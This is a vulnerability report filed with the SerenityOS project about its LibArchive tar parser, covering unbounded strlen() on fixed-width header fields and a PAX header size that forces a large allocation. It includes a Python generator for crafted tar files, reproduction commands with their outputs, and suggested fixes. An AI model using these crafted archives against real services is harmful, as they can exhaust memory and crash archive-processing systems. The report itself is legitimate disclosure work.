#26773·serenity

LibArchive tar parser unbounded strlen and PAX size memory amplification

Author: Carmel0Created May 15, 2026Updated May 15, 2026

Hi,

We found two issues in LibArchive's tar parser:

  1. Fixed-width tar header fields are read with unbounded strlen(). A full 100-byte link_name field is extracted as a 105-byte symlink target ending in bytes from the following magic field.
  2. PAX extended-header parsing allocates and zero-fills the attacker-declared body size before checking that the body exists. A 513-byte archive can trigger a 256 MiB allocation and can fail under memory limits.

Version and build setup:

  • current master at d7a7121d6a7b7feeeb3455fe37cff8ee20fab724
  • native Lagom tar utility build of Userland/Utilities/tar.cpp
  • no Serenity source changes

The following self-contained Python snippet generates the four tar inputs used below:

PoC input generator
bash
python3 - <<'PY'
from pathlib import Path

out = Path("/tmp/serenity-tar-pocs")
out.mkdir(parents=True, exist_ok=True)

def put(buf, off, size, data):
    buf[off:off + size] = data[:size].ljust(size, b"\0")

def finish(header, path, body=b""):
    header[148:156] = b"        "
    header[148:156] = oct(sum(header))[2:].encode().rjust(6, b"0") + b"\0 "
    path.write_bytes(bytes(header) + bytes(12) + body + bytes(1024))

def base_header():
    h = bytearray(500)
    put(h, 0, 100, b"entry")
    put(h, 100, 8, b"0000777\0")
    put(h, 108, 8, b"0000000\0")
    put(h, 116, 8, b"0000000\0")
    put(h, 124, 12, b"00000000000\0")
    put(h, 136, 12, b"00000000000\0")
    put(h, 257, 6, b"ustar\0")
    put(h, 263, 2, b"00")
    put(h, 265, 32, b"owner")
    put(h, 297, 32, b"group")
    return h

# 1. PAX header: 513-byte file declaring a 256 MiB extended-header body.
h = bytearray(500)
put(h, 0, 100, b"pax")
put(h, 100, 8, b"0000644\0")
put(h, 108, 8, b"0000000\0")
put(h, 116, 8, b"0000000\0")
put(h, 124, 12, oct(256 * 1024 * 1024)[2:].encode().rjust(11, b"0") + b"\0")
put(h, 136, 12, b"00000000000\0")
h[156] = ord("x")
put(h, 257, 6, b"ustar\0")
put(h, 263, 2, b"00")
h[148:156] = b"        "
h[148:156] = oct(sum(h))[2:].encode().rjust(6, b"0") + b"\0 "
(out / "pax_256m.tar").write_bytes(bytes(h) + bytes(12) + b"X")

# 2. Symlink with a full 100-byte link_name field.
h = base_header()
put(h, 0, 100, b"link")
h[156] = ord("2")
h[157:257] = b"A" * 100
finish(h, out / "symlink_full_linkname.tar")

# 3. Normal file with a full 155-byte prefix field.
h = base_header()
put(h, 0, 100, b"file")
h[156] = ord("0")
h[345:500] = b"P" * 155
finish(h, out / "full_prefix.tar")

# 4. Header-validation input: full magic/version and no NUL through the end of TarFileHeader.
h = bytearray(500)
put(h, 0, 100, b"file")
put(h, 100, 8, b"0000777\0")
put(h, 108, 8, b"0000000\0")
put(h, 116, 8, b"0000000\0")
put(h, 124, 12, b"00000000000\0")
put(h, 136, 12, b"00000000000\0")
h[156] = ord("0")
h[257:500] = b"B" * (500 - 257)
h[257:263] = b"ustar "
h[263:265] = b"  "
finish(h, out / "magic_version_full.tar")

for p in sorted(out.iterdir()):
    print(p, p.stat().st_size)
PY

Issue A: fixed-width tar fields use unbounded strlen()

Root cause

The vulnerable fields are fixed-size tar header fields:

cpp
/* Userland/Libraries/LibArchive/Tar.h */
char m_link_name[100] { 0 };
char m_magic[6] { 0 };
char m_version[2] { 0 };
char m_prefix[155] { 0 };

The accessor helper calls strlen() before clamping the returned StringView:

cpp
template<size_t N>
static StringView get_field_as_string_view(char const (&field)[N])
{
    return { field, min(__builtin_strlen(field), N) };
}

StringView magic() const { return get_field_as_string_view(m_magic); }
StringView version() const { return get_field_as_string_view(m_version); }
StringView prefix() const { return get_field_as_string_view(m_prefix); }
StringView link_name() const { return { m_link_name, strlen(m_link_name) }; }

The first sanitizer finding is reached during header validation:

cpp
/* Userland/Libraries/LibArchive/TarStream.cpp */
ErrorOr<void> TarInputStream::load_next_header()
{
    m_header = TRY(m_stream->read_value<TarFileHeader>());
    ...
    if (!TRY(valid()))
        return Error::from_string_literal("Header has an invalid magic or checksum");
}

ErrorOr<bool> TarInputStream::valid() const
{
    auto const header_magic = header().magic();
    auto const header_version = header().version();
    ...
}

link_name() also reaches native extraction:

cpp
/* Userland/Utilities/tar.cpp */
case Archive::TarFileType::SymLink:
    TRY(Core::System::symlink(header.link_name(), absolute_path));
    break;

If one of these fields is full and has no NUL terminator, strlen() reads into following storage. magic(), version(), and prefix() clamp only after the read. link_name() does not clamp and passes the overlong view to symlink().

PoC A1: original magic() / version() UUM

Command:

bash
valgrind --quiet --error-exitcode=77 --track-origins=yes \
    ./tar -t -f /tmp/serenity-tar-pocs/magic_version_full.tar

Observed output:

Conditional jump or move depends on uninitialised value(s)
   at strlen
   by get_field_as_string_view<2UL> (Tar.h:72)
   by version (Tar.h:105)
   by Archive::TarInputStream::valid() const
   by Archive::TarInputStream::load_next_header() (TarStream.cpp:112)

Conditional jump or move depends on uninitialised value(s)
   at strlen
   by get_field_as_string_view<6UL> (Tar.h:72)
   by magic (Tar.h:104)
   by Archive::TarInputStream::valid() const
   by Archive::TarInputStream::load_next_header() (TarStream.cpp:112)

Runtime error: Header has an invalid magic or checksum

The archive is rejected, but the unbounded strlen() reads happen before rejection while validating the header.

PoC A2: native link_name() symlink mismatch

Command:

bash
rm -rf /tmp/serenity-tar-pocs/out
mkdir -p /tmp/serenity-tar-pocs/out
./tar -x -f /tmp/serenity-tar-pocs/symlink_full_linkname.tar -C /tmp/serenity-tar-pocs/out
python3 - <<'PY'
import os
p = "/tmp/serenity-tar-pocs/out/link"
t = os.readlink(p)
print("symlink_exists", os.path.islink(p))
print("symlink_target_len", len(t))
print("symlink_target_suffix", repr(t[-10:]))
PY

Observed output:

symlink_exists True
symlink_target_len 105
symlink_target_suffix 'AAAAAustar'

GNU tar extracts the same archive as a 100-byte symlink target. Serenity/Lagom tar extracts a 105-byte target because strlen(m_link_name) continues into the following magic field.

The extra suffix is constrained by the accepted tar magic bytes, so this is not arbitrary-byte path injection. The security-relevant behavior is that the extracted symlink target differs from the fixed-width link_name field and from GNU tar's interpretation of the same archive.

PoC A3: prefix() unbounded read

Command:

bash
./tar -t -f /tmp/serenity-tar-pocs/full_prefix.tar | python3 -c 'import sys; s=sys.stdin.read().strip(); print("listed_path_len", len(s)); print("listed_path_prefix_P_count", len(s)-len(s.lstrip("P"))); print("listed_path_suffix", repr(s[-10:]))'
valgrind --quiet --error-exitcode=77 --track-origins=yes \
    ./tar -t -f /tmp/serenity-tar-pocs/full_prefix.tar

Observed native output:

listed_path_len 160
listed_path_prefix_P_count 155
listed_path_suffix 'PPPPP/file'

Observed Memcheck output:

Conditional jump or move depends on uninitialised value(s)
   at strlen
   by get_field_as_string_view<155UL> (Tar.h:72)
   by prefix (Tar.h:111)
   by serenity_main(Main::Arguments)

For magic(), version(), and prefix(), we are not claiming output disclosure because the returned StringView is clamped after strlen(). The bug is the unbounded read before clamping. link_name() has the native symlink-target mismatch shown above.

Issue B: PAX extended-header size causes allocation-before-validation memory amplification

Root cause

TarInputStream::for_each_extended_header() allocates the declared PAX body size before checking that the body exists:

cpp
/* Userland/Libraries/LibArchive/TarStream.h */
auto header_size = TRY(header().size());
ByteBuffer file_contents_buffer = TRY(ByteBuffer::create_zeroed(header_size));
TRY(file_stream.read_until_filled(file_contents_buffer));

tar -t / tar -x call this path for global and local extended headers:

cpp
/* Userland/Utilities/tar.cpp */
case Archive::TarFileType::GlobalExtendedHeader:
case Archive::TarFileType::ExtendedHeader:
    TRY(tar_stream->for_each_extended_header(...));

PoC B: PAX size memory amplification

The PoC generates a 513-byte archive whose PAX extended header declares a 256 MiB body:

pax_256m.tar size=513 bytes
archive_size_bytes=513

Command:

bash
/usr/bin/time -f 'elapsed=%e maxrss_kb=%M' \
    ./tar -t -f /tmp/serenity-tar-pocs/pax_256m.tar

(ulimit -v 131072; ./tar -t -f /tmp/serenity-tar-pocs/pax_256m.tar)

Native output from a non-fuzzer Lagom tar build:

Runtime error: Reached end-of-file before filling the entire buffer
Command exited with non-zero status 1
elapsed=0.35 maxrss_kb=266240

Under a virtual-memory limit:

Runtime error: Cannot allocate memory (errno=12)
exit status 1

Under a 128 MiB cgroup/container memory limit, the process was killed by OOM:

exit status 137

Amplification examples:

64 MiB declared  / 513 B input ~= 130,816x
256 MiB declared / 513 B input ~= 523,266x

Impact

Demonstrated effects:

  • a symlink can be extracted to a different target than GNU tar reports/extracts for the same archive;
  • memory-checker-visible unbounded reads from fixed-width tar fields;
  • small-input to large-memory amplification for PAX extended headers;
  • allocation failure or OOM kill under memory limits.

The link_name() mismatch matters for archive workflows that inspect or validate tar metadata before extraction: another parser can see a 100-byte symlink target while Serenity/Lagom tar creates a different target for the same archive.

The PAX case matters for services, file managers, indexers, CI jobs, or archive previewers that process untrusted tar files under memory limits.

We are not claiming code execution or arbitrary symlink-target injection.

Suggested fix

For fixed-width tar fields:

  • avoid unbounded strlen() on tar header fields;
  • use a bounded helper equivalent to strnlen(field, sizeof(field));
  • make link_name() use the same bounded helper for its 100-byte field.

For PAX extended headers:

  • do not allocate header().size() before validating/reading the body;
  • enforce a reasonable maximum PAX extended-header size, or parse records in a streaming/bounded way;
  • reject extended headers whose declared body size is larger than the remaining input when the input size is known.

Found by DMSAN (Differential Memory Sanitizer) and follow-up manual analysis.